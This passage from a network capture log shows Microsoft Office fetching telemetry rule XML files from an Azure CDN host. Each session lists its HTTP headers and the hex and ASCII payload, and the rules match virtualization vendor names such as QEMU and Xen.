R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:12 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:12 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045312Z-16849878b78x6gn56mgecg60qc0000000ce0000000002wy4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:12 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:12 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045312Z-16849878b78bjkl8dpep89pbgg000000096g00000000f2k1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:12 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:12 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:12 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6f053945-601e-003e-6f2f-2b3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045312Z-15b8d89586fnfb49yv03rfgz1c000000024g000000009vzv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:12 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:12 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:12 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 08cfea9b-401e-0016-38cc-2a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045312Z-159b85dff8fk99t5hC1DFWepmn00000000tg000000006qu2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:12 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:13 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:13 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045313Z-16849878b78q9m8bqvwuva4svc000000093g000000006zg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:13 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:13 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e65a25e2-e01e-00aa-5b74-2aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045313Z-15b8d89586f8nxpt6ys645x5v00000000bz00000000002sc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:13 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:13 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:13 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 32406b86-f01e-0099-067b-2a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045313Z-17c5cb586f6z6tq2xr35mhd5x0000000030g00000000gehg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:13 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:13 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:13 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 045b9726-001e-0014-4db7-2a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045313Z-17c5cb586f6ks725u50g36qts800000002s00000000000db x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:13 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:13 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:13 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045313Z-16849878b7898p5f6vryaqvp580000000be0000000004r2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:13 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:14 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:14 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045314Z-16849878b787wpl5wqkt5731b40000000b6g00000000ncn4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:14 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 9f581369-601e-00ab-15c9-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045314Z-16849878b787bfsh7zgp804my4000000099g00000000dyz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:14 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:14 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:14 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045314Z-16849878b78sx229w7g7at4nkg00000008r000000000knst x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:14 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 